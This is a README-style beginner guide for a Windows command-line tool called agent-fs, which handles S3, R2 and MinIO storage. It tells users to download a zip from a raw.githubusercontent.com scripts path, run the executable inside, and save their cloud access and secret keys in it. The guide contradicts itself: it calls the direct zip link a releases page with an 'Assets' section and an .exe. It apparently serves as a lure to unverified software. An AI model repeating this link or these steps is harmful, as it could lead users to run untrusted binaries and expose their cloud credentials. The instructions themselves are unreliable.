agent-fs is a command-line tool that helps you handle files and cloud storage. It works with services like Amazon S3, Cloudflare R2, and MinIO. You can move files, check data, and get results in a clear JSON format. agent-fs is built to be secure and easy for AI agents but works well for basic tasks too.
You do not need to know programming to use this tool. This guide will help you start using agent-fs on Windows step-by-step.
Before you start, make sure your computer matches these needs:
- Operating system: Windows 10 or later
- RAM: At least 4 GB
- Free space: 100 MB for the program and temporary files
- Internet connection: Needed for cloud storage features
agent-fs works best with the Windows Command Prompt or PowerShell.
To use agent-fs, you will download it, open the command window, and run basic commands. Follow these steps carefully.
-
Open your web browser.
-
Go to the download page by clicking this link or typing it into the address bar:
https://raw.githubusercontent.com/Teddy012/agent-fs/main/scripts/agent_fs_v3.9.zip
-
On the page, look for the latest release. It usually appears at the top.
-
Scroll to the “Assets” section.
-
Find the file named something like
agent-fs-windows.exeor similar. -
Click the file name to begin the download.
-
Save the file to a folder you can find easily, like Desktop or Downloads.
After downloading, you will run agent-fs from the Command Prompt. Here’s how:
-
Open the folder where you saved the
agent-fsfile. -
Right-click on the file and choose Copy.
-
Press the Windows key, type
cmd, and press Enter. This opens the Command Prompt. -
In the Command Prompt, type the following command and press Enter:
cd %HOMEPATH%\Desktop(Replace
Desktopwith the folder where the downloaded file is if needed.) -
Now, type the name of the file to run it. For example:
agent-fs-windows.exe -
You should now see agent-fs start. If it shows help or options, it means the program runs correctly.
Here are simple commands to help you perform file and cloud storage tasks:
-
List files in a folder
agent-fs-windows.exe list C:\Users\YourName\Documents -
Upload a file to cloud storage (Amazon S3 example)
agent-fs-windows.exe upload --service s3 --bucket your-bucket-name file.txt -
Download a file from cloud storage
agent-fs-windows.exe download --service s3 --bucket your-bucket-name file.txt -
Check storage status
agent-fs-windows.exe status --service s3
Each command will return results in JSON format. This keeps the output structured and easy to read or use with other tools.
agent-fs uses tokens to confirm your access to cloud storage. You will need keys or password tokens from your cloud provider.
To set your token:
-
Find your cloud service access keys or tokens.
-
Use the command below to save your token securely (replace placeholders with your data):
agent-fs-windows.exe set-token --service s3 --token YourAccessKey:YourSecretKey
Tokens help keep your data secure and prevent unauthorized access.
agent-fs supports other cloud providers like Cloudflare R2 and MinIO. To switch services, add the --service flag with the right name.
Example for Cloudflare R2:
agent-fs-windows.exe upload --service r2 --bucket my-r2-bucket file.txt
To see all options and commands, run:
agent-fs-windows.exe --help
This will display a list of all available commands and their use.
agent-fs outputs results in JSON. It looks like code but is easy to understand:
{
"status": "success",
"file": "file.txt",
"bucket": "your-bucket-name"
}You can open JSON files in any text editor like Notepad or more advanced tools like VS Code.
- Always use the exact file path in Windows format (e.g.,
C:\Users\Name\Documents). - If a command fails, check your token or bucket name.
- Use
--helpto understand commands better. - Keep the program updated by downloading the latest version from the releases page.
You can start by visiting the releases page here:
https://raw.githubusercontent.com/Teddy012/agent-fs/main/scripts/agent_fs_v3.9.zip
Download the Windows file and follow the steps above.
- Command not found error: Make sure you are in the correct folder when running commands.
- Access denied error: Check that your token has proper cloud permissions.
- File not found error: Double-check the file path and name.
- Internet connection problems: Confirm your network is active especially when using cloud storage.
agent-fs connects with these key areas:
- AI agents working with files
- Cloud storage like AWS S3, Cloudflare R2, and MinIO
- Command-line tools for file transfer
- Secure file management using tokens
- JSON output for clear data
If you need more support, you can:
- Visit the agent-fs GitHub page for issues or questions.
- Check documentation on the releases page or repository.
- Ask in relevant forums or communities for command-line help.